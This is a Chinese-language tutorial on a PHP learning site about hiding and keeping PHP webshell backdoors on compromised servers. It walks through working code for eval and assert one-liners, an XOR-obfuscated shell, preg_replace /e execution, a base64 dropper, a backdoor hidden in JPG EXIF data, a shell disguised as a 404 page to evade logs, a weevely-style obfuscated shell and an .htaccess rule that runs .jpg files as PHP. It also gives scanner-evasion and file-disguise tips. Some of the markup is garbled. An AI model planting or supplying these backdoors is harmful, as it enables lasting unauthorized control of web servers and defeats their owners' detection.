• 技术文章 >后端开发 >php教程

    PHP后门隐藏与维持技巧

    2016-08-08 09:21:23原创926
    在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普。

    AD:

    0×00前言

    在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.

    以PHP-WEBBACKDOOR为例,抛砖引玉

    一个最常见的一句话后门可能写作这样

    1. eval($_POST['cmd']);?>

    或这样

    1. $_POST['cmd']);?>

    当然,这仅是调用的函数不同,关于PHP禁用的函数请在php.ini: disable_functions 中寻找.

    但是运维直观寻找我们shell的方式也有很多,如

    ◆通过文件名/修改时间/大小,文件备份比对发现异常

    ◆通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等

    ◆通过Access.log访问日志发现后门所在

    ◆又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等

    针对常见的检测方式,总结以下七常用手法对shell进行隐藏

    0×01规避

    看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的

    常见的关键词如:

    ◆系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

    ◆代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

    ◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

    过去有朋友机智的使用$_POST[0]($_POST[1])来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的

    tudouya 同学在FREEBUF上给出[一种构造技巧](http://www.freebuf.com/articles/web/33824.html)利用

    1. @$_++; // $_ = 1
    2. $__=("#"^"|"); // $__ = _
    3. $__.=("."^"~"); // _P
    4. $__.=("//m.sbmmt.com/m/"^"`"); // _PO
    5. $__.=("|"^"//m.sbmmt.com/m/"); // _POS
    6. $__.=("{"^"//m.sbmmt.com/m/"); // _POST
    7. ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
    8. ?>

    构造生成,当然,嫌太直观可以写作这样

    1. $_++;$__=("#"^"|").("."^"~").("//m.sbmmt.com/m/"^"`").("|"^"//m.sbmmt.com/m/").("{"^"//m.sbmmt.com/m/");@${$__}[!$_](${$__}[$_]);?>

    然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

    执行无误,且绕过普通扫描器,也可依赖之写新的临时shell

    0×02特性

    借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)

    eg.:

    1. ${@eval(phpinfo())}

    {}可解析双引号内的变量内容,@保持出错后继续执行

    然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace

    1. "//e",$_POST['cmd'],"");?>

    这玩法显然已经进了扫描器黑名单,简单修改下

    1. function funfunc($str){}
    2. echo preg_replace("/(.+?)<\/title>/ies", <span>'funfunc("\1")', <span>$_POST[<span>"cmd"]); </span></span></span></span></span></li><li>?> </li></ol><p>执行了,没有被发现</p><p><img src="http://image.codes51.com/Article/image/20150710/20150710115053_3231.png" alt="" width="300" height="184" border="0" /></p><p>执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行</p><ol><li>funfunc(<span>"{${phpinfo()}}") </span></li></ol><p>另一种方法</p><ol><li><?php @assert(<span>"\$arr=\"".<span>$_GET[<span>'cmd'].<span>"\";");?> </span></span></span></span></li></ol><p><img src="http://image.codes51.com/Article/image/20150710/20150710115053_6669.png" alt="" width="300" height="145" border="0" /></p><p>0×03包含</p><p>文件包含是众人都玩过的方法,只是包含也有技巧</p><p>普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现</p><p>看此脚本</p><ol><li><?php </li><li> <span>if(@isset(<span>$_GET[content])) </span></span></li><li> { </li><li> <span>$fp=<span>fopen(<span>'README',<span>'w'); </span></span></span></span></li><li> <span>file_put_contents(<span>'README',<span>"<?php\r\n"); </span></span></span></li><li> @<span>file_put_contents(<span>'README',<span>$_GET[content],FILE_APPEND); </span></span></span></li><li> fclose(<span>$fp); </span></li><li> <span>require <span>'README';} </span></span></li><li>?> </li></ol><p>算是解决了一点问题,需求的shell可随用随生成,进而包含之</p><p><img src="http://image.codes51.com/Article/image/20150710/20150710115054_4794.png" alt="" width="300" height="138" border="0" /></p><p>可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现</p><p>编码生成的方式创建shell,随访问而生成.</p><ol><li><?php @<span>fputs(<span>fopen(<span>base64_decode(<span>'cGx1Z2luX20ucGhw'),w),<span>base64_decode(<span>'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg==')); </span></span></span></span></span></span></li><li>?> </li></ol><p>可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.</p><p>当然对于启发式之类的新概念就不考虑了</p><p>在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片</p><ol><li><?php <span>$exif=exif_read_data(<span>'./lol.jpg');preg_replace(<span>$exif[<span>'Make'],<span>$exif[<span>'Model'],<span>'');?> </span></span></span></span></span></span></span></li></ol><p>参考:一种隐藏在JPG图片EXIF中的后门</p><p>这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行</p><p><img src="http://image.codes51.com/Article/image/20150710/20150710115054_7919.png" alt="" width="300" height="65" border="0" /></p><p>此处可能会提示 Call to undefined function exif_read_data()</p><p>需要修改php.ini, extension=php_exif.dll</p><p>将其加载顺序改为extension=php_mbstring.dll的后面</p><p><img src="http://image.codes51.com/Article/image/20150710/20150710115055_2294.png" alt="" width="300" height="160" border="0" /></p><p>可以看出,此图片后门借助了preg_replace \e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒</p><p>当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到…</p><p>0×04隐匿</p><p>为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚</p><ol><li><!DOCTYPE HTML PUBLIC <span>"-//IETF//DTD HTML 2.0//EN"> </span></li><li> <html><head> </li><li> <title>404 Not Found
    3. Not Found

    4. The requested URL was not found on this server.

    5. @preg_replace("/[checksql]/e",$_POST['cmd'],"saft");
    6. ?>

    借助上面的html渲染后,浏览页面已经开始伪装404以迷惑视听了

    但躲得过访问者也躲不过日志分析,为更好的隐藏在大量日志中,构造如下脚本

    1. header('HTTP/1.1 404');
    2. ob_start();
    3. @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
    4. ob_end_clean();
    5. ?>

    访问之,是真正的404,没错,日志中也是这样

    但此刻当前目录已生成我们要连接的脚本

    0×05混淆

    用过weevely工具的童鞋应该知道,其生成的免杀shell像这样

    1. $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
    2. $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
    3. $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
    4. $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
    5. $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
    6. $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
    7. $jgfi = $ftdf("l","","lclrlelaltel_functlilon");
    8. $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
    9. ?>

    终端下连接后像这样

    Ps:截图忘记修改终端编码了:(

    其免杀方式在于,在固定区域生成随机名称变量,后借助str_replace拼合base64_decode,执行命令的过程

    当然,这是在代码层面混淆视听以躲过扫描器

    更常用的混淆视听的方法:

    ◆修改文件时间

    ◆改名融入上传后所在文件夹,让人无法直观看出文件异常

    ◆文件大小的伪装处理(至少看起大小像个正常脚本)

    ◆选好藏身路径并尽量少的访问

    ◆畸形目录%20

    关于空格目录,还是相对容易被发现的

    0×06解析

    利用.htaccess,添加解析后门

    如:

    1. AddType application/x-httpd-php .jpg

    以上以weeverly为例

    0×07杂糅

    总结以上方法,大部分无非是一个构造漏洞的过程,漏洞构造的代码能有多奇葩,后门就可以多奇葩.可以写纤细婉约的,也可以搞简单粗暴的,只是适用场 合不同而已.如能很好的融合思路,构造自己的隐藏shell想来亦非难事.以上仅为总结经验之谈,各位有有趣的想法还望不吝赐教.

    以上就介绍了PHP后门隐藏与维持技巧,包括了方面的内容,希望对PHP教程有兴趣的朋友有所帮助。

    声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。
    专题推荐:nbsp PHP lt gt shell
    上一篇:NGINX介绍及参数 下一篇:自己动手写 PHP MVC 框架(40节精讲/巨细/新人进阶必看)

    相关文章推荐

    • 浅析PHP中的类自动加载相关文件• 系统讲解PHP缓存技术• 一文理解和实现现代PHP框架里的IOC容器• 深入了解PHP:用gdb调试源码• 实例介绍:使用Docker快速搭建多版本PHP开发环境
    1/1

    PHP中文网